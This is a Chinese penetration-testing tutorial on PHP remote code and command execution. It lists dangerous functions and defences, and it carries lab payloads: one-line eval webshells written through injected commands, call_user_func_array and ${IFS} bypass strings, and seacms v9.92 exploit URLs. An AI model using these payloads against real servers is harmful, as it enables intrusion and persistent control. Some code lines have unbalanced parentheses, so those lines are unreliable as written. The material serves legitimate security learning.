渗透测试-17:CRE 漏洞
RCE
- RCE(Remot Command/Code Execute),远程命令/代码执行
- 远程命令执行:用户可以控制系统命令执行函数的参数,也称命令注入
- 远程代码执行:用户输入的参数可以作为代码执行,也称代码注入
- 命令执行可以看作是一种特殊的代码执行,代码执行相对会更加灵活
- 应用有时候会考虑代码的简洁性、灵活性,会在代码中调用 eval 之类的函数
- 代码执行(注入)漏洞:在 web 方面是指应用程序过滤不严,用户可以通过请求将代码注入到应用中由服务器执行,导致一系列不可控的后果
PHP:eval assert
Python:exec
ASP:<%=CreateObject(“wscript.shell”).exec(“cmd.exe /c ipconfig”).StdOut.ReadAll()%>
Java:没有类似函数,但采用的反射机制和各种基于反射机制的表达式引擎(OGNL、SpEL、MVEL等)有类似功能
远程代码执行
漏洞危害
- 获取当前文件的绝对路径
print __FILE__
- 读取服务器文件
file_get_contents('C:\Windows\System32\drivers\etc\hosts')
- 在服务器写入一句话木马
file_put_contents("xxx.php", '<?php @eval($_POST["cmd"]?>', FILE_APPEND | LOCK_EX);
fwrite(fopen("xxx.php","a+"), '<?php @eval($_POST["cmd"]?>');
fputs(fopen("xxx.php","a+"), '<?php @eval($_POST["cmd"]?>');
- 执行 PHP 代码,获取服务器内容或相关信息
echo eval("system(dir);")
$data = $_GET["data"];
eval("\$ret = strtolower(\"$data\");");
echo $ret;
post:
?data=");phpinfo();//
?data=${phpinfo()}
- 控制服务器,利用 Shell 脚本,上传大马,甚至控制服务器
防御方式
- 尽量不要使用
eval
assert
等危险函数 - 如果使用危险函数的话,一定要对输入内容进行严格的过滤
preg_replace
不使用/e
修饰符- 在
php.ini
文件中禁用危险函数disable_functions
漏洞查找方法
-
代码审计
:最主要的方式,借助代码审计工具,非常方便的审计出此类漏洞 -
已知的 CMS 漏洞
:已知的 CMS,有很多每年都会爆出来很多此类的漏洞 -
页面传参查找
:针对页面有传参的地方,重点关注传入恶意代码尝试,概率相对较小
代码执行相关函数
// 执行代码的函数
eval()
- 将字符串当作 PHP 代码执行
- 里面参数的值 需要 ; 结尾
assert()
- 将字符串当作 PHP 代码执行
- 里面参数 不需要 ; 结尾
// 回调函数
// preg_replace(pattern,replacement,subject)
- 执行一个正则表达式的搜索和替换
- 当第一个参数中存在e修饰符时,第二个参数的值会被当成PHP代码来执行
- 注意:该函数在 5.5 之后版本被弃用,7.0 之后不支持
preg_replace("/<data>(.*?)<\/data>/e", 'system("id")', '<data>phpinfo()</data>');
preg_replace("/<data>(.*?)<\/data>/e", '$ret=strtolower(\\1)', '<data>phpinfo()</data>');
preg_replace("/<data>(.*?)<\/data>/e", '$ret="\\1"', '<data>${phpinfo()}</data>');
// call_user_func(callable $callback, mixed $parameter = ?, mixed $... = ?): mixed
$fun = $_GET['fun'];
$para = $_GET['para'];
call_user_func($fun,$para);
// call_user_func_array(callable $callback, array $param_arr): mixed
post => ?fun=call_user_func_array&vars[0]=system&vars[1][]=echo '<?php eval($_POST["cmd"]);?>' > shell.php
post => ?fun=call_user_func_array&vars[0]=system&vars[1][]=test.php&vars[1][]=<?php eval($_POST["cmd"];?>
// 动态函数
$fun = $_GET['fun'];
$para = $_GET['para'];
$fun($para);
反序列化:unserialize()
远程命令执行
- 应用程序中有时会调用一些系统命令函数,比如 php 中使用 system、exec、shell_exec 等函数可以执行系统命令,当攻击者可以控制这些函数中的参数时,就可以将恶意命令拼接到正常命令中,从而造成命令执行攻击
- 命令执行漏洞,属于高危漏洞之一,也可以算是一种特殊的代码执行
产生原因
- 用户可以控制输入的内容
- 用户输入的内容被当作命令执行
例:日常的网络访问中,我们常常可以看到某些Web网站具有执行系统命令的功能,比如:有些网站提供 ping 功能,我们可以输入一个 IP 地址,它就会帮我们去尝试 ping 目标的 IP 地址,而我们则可以看到执行结果
防御方式
- 尽量不要使用命令执行函数
- 客户端提交的变量在进入执行命令函数方法之前,一定要做好过滤,对敏感字符进行转义
- 在使用动态函数之前,确保使用的函数是指定的函数之一
- 对 PHP 语言来说,不能完全控制的危险函数最好不要使用
执行多条语句(windows)
命令格式 | 函数 |
---|---|
command1 & command2 | 前面和后面命令都要执行,无论前面真假 |
command1 && command2 | 如果前面为假,后面的命令也不执行,如果前面为真则执行两条命令 |
command1 || command2 | 如果前面命令是错的那么就执行后面的语句,否则只执行前面的语句 |
command1 | command2 | 直接执行后面的语句 |
执行多条语句(linux)
命令格式 | 函数 |
---|---|
command1 ; command2 | 前面和后面命令都要执行,无论前面真假 |
command1 & command2 | 前面和后面命令都要执行,无论前面真假 |
command1 && command2 | 如果前面为假,后面的命令也不执行,如果前面为真则执行两条命令 |
command1 || command2 | 如果前面命令是错的那么就执行后面的语句,否则只执行前面的语句 |
command1 | command2 | 直接执行后面的语句 |
命令执行相关函数
// 执行外部程序,并且显示输出
system(string $command, int &$return_var = ?): string
system('whoami')
// 将反引号(``)中的内容作为 shell 命令来执行,并将其输出信息返回,效果与函数 shell_exec() 相同
echo `whoami`;
// shell_exec():通过 shell 环境执行命令,并且将完整的输出以字符串的方式返回
shell_exec('id');
// 执行 command 参数所指定的命令
exec(string $command, array &$output = ?, int &$return_var = ?): string
exec('whoami', $output);
print_r($output);
// 执行外部程序并且显示原始输出
passthru(string $command, int &$return_var = ?): void
passthru('whoami')
// 打开一个指向进程的管道,该进程由派生给定的 command 命令执行而产生
popen(string $command, string $mode): resource
// 执行一个命令,并且打开用来输入/输出的文件指针,类似 popen() 函数,但是 proc_open() 提供了更加强大的控制程序执行的能力
proc_open(
mixed $cmd,
array $descriptorspec,
array &$pipes,
string $cwd = null,
array $env = null,
array $other_options = null
): resource
// 以给定参数执行程序
pcntl_exec(string $path, array $args = ?, array $envs = ?): void
靶场练习
代码执行
基本方式
phpinfo();
file_put_contents("shell.php","<?php @eval(\$_POST['cmd']);?>")
seacms-v9.92 漏洞
/comment/api/index.php?gid=1&page=2&rlist[]=*hex/@eval($_GET[a]);?>
/data/mysqli_error_trace.php?a=phpinfo();
命令执行
基本绕过
1.查看目录下的文件
ls // 无回显
|ls
2.读取key.php
|cat key.php // 报错
|cat${IFS}key.ph?
3.在源码中找到key
基本方式
127.0.0.1 & echo "<?php @eval($_POST['cmd']);?>" > shell.php
// 或
| echo "<?php @eval(\$_POST['cmd']);?>" > shell.php
| cat shell.php